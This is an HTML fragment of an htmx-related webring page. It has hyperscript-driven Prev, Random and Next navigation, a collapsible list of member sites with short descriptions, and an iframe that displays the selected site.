  </td>
  <td class="built-with-tds" style="; border: 1px black solid"">
    <img width="200px" src="/img/createdwith.jpeg" alt="Site created with htmx, The Right Way.">
  </td>
</tr>
<tr>
<td colspan="3" style="text-align: center; ; border: 1px black solid; position: relative">
    [<a
         class="nav-link"
         href="#" 
         _="on click
             set links to <a/> in the #ring-table
             decrement :index
             if :index is -1
                get the length of the links
                set :index to the result - 1 
             end
             log :index
             get links[:index]
             set the #webring's src to the result's @href
             ">Prev</a>][<a href="#" class="nav-link" _="on click
             set links to <a/> in the #ring-table
             get the :index
             repeat until the result is not :index
                get Math.floor(Math.random() * length of the links)
             end
             set the :index to the result
             get links[:index]
             set the #webring's src to the result's @href
             ">Random</a>][<a href="#" class="nav-link" _="on click
             set links to <a/> in the #ring-table
             increment :index
             if :index is length of the links
                set :index to 0
             end
             get links[:index]
             set the #webring's src to the result's @href
             ">Next</a>]<br/>
    [<a href="#" id="show-sites"
        _="on click 
             transition the #webring's opacity to 0
             hide the #webring
             transition #site-table's height to 100% over 300ms then 
             hide me then
             show #return-to-webring">List Sites</a><a href="#" id="return-to-webring"
        style="display: none"
        _="on click 
             transition #site-table's height to 0px over 800ms then
             show the #webring
             transition the #webring's opacity to 100%
             hide me then
             show #show-sites">Return To Webring</a>]
   <img src="/img/navigator.gif" alt=""
        _="on click from .nav-link
              log 'here'
              transition my opacity to 100%
            on load from #webring
              transition my opacity to 0%" style="opacity: 0; float: right; width: 38px; position:absolute; right:2px; bottom: 2px">
</td>
</tr>
</table>

<div id="site-table" style="height: 0px; overflow: hidden">
<table>
<thead>
  <tr><th>Name</th><th>Description</th></tr>
</thead>
<tbody id="ring-table">
  <tr><td><a rel="nofollow" target="_blank" href="https://www.commspace.co.za/">Commspace</a></td><td>The ultimate solution for managing, tracking, splitting and analysing Financial Adviser revenue.</td></tr>
  <tr><td><a rel="noopener" target="_blank" href="https://zorro.management">Zorro Management</a></td><td>Manage your projects, time, and progress!</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://www.contexte.com/">Contexte</a></td><td>L’écosystème politique, au-delà des politiques publiques sectorielles : les métiers, les gens, les textes, les institutions</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://ocaml.org/">ocaml.org</a></td><td>An industrial-strength functional programming language with an emphasis on expressiveness and safety</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://www.nikevision.com/">Nike Vision</a></td><td>Eye-wear</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://vanillaweather.com/">Vanilla Weather</a></td><td>No ads. No tracking. Just the weather.</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://turboscribe.ai/">TurboScribe</a></td><td>TurboScribe’s mission is to deliver world-class AI transcription at an unbeatable price.</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://xrss.infogulch.com">XRSS</a></td><td>A simple RSS reader inspired by Google Reader</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://openunited.com/">OpenUnited</a></td><td>A Digital Talent match-making platform</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://gophemeral.com">Gophemeral</a></td><td>Share secrets securely!</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://www.thomasricci.dev">thomasricci.dev</a></td><td>Super fast portfolio website</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://signup.casa">Signup Casa</a></td><td>Simple, convenient sign-up forms.</td></tr>
  <tr><td><a rel="nofollow" target="_blank" href="https://recipes.musicavis.ca">Recipya</a></td><td>A clean, simple and powerful recipe manager your whole family can enjoy.</td></tr>
  <tr><td><a rel="noopener" target="_blank" href="https://statusnook.com">Statusnook</a></td><td>Effortlessly deploy a status page and start monitoring endpoints in minutes.</td></tr>
  <tr><td><a rel="noopener" target="_blank" href="https://photoquest.wedding/ ">PhotoQuest</a></td><td>The interactive wedding photo game for unique moments that connect.</td></tr>
  <tr><td><a rel="noopener" target="_blank" href="https://todo.dankstuff.net/">DankTodo</a></td><td>The First Ever HTMX C (Ulfius) Todo App in History!</td></tr>
  <tr><td><a rel="noopener" target="_blank" href="https://dankmuzikk.com/">DankMuzikk</a></td><td>Create, share and play music playlists with the fully hypermedia music player.</td></tr>
  <tr><td><a rel="noopener" target="_blank" href="https://danklyrics.com/">DankLyrics</a></td><td>A lyrics finder API, Website and Go package.</td></tr>
</tbody>
</table>
</div>

</div>

<iframe id="webring" src="https://www.commspace.co.za" style="position:fixed;right:0;left:0;bottom:0;top:250px;width:100%;height:100%" name="webring"></iframe>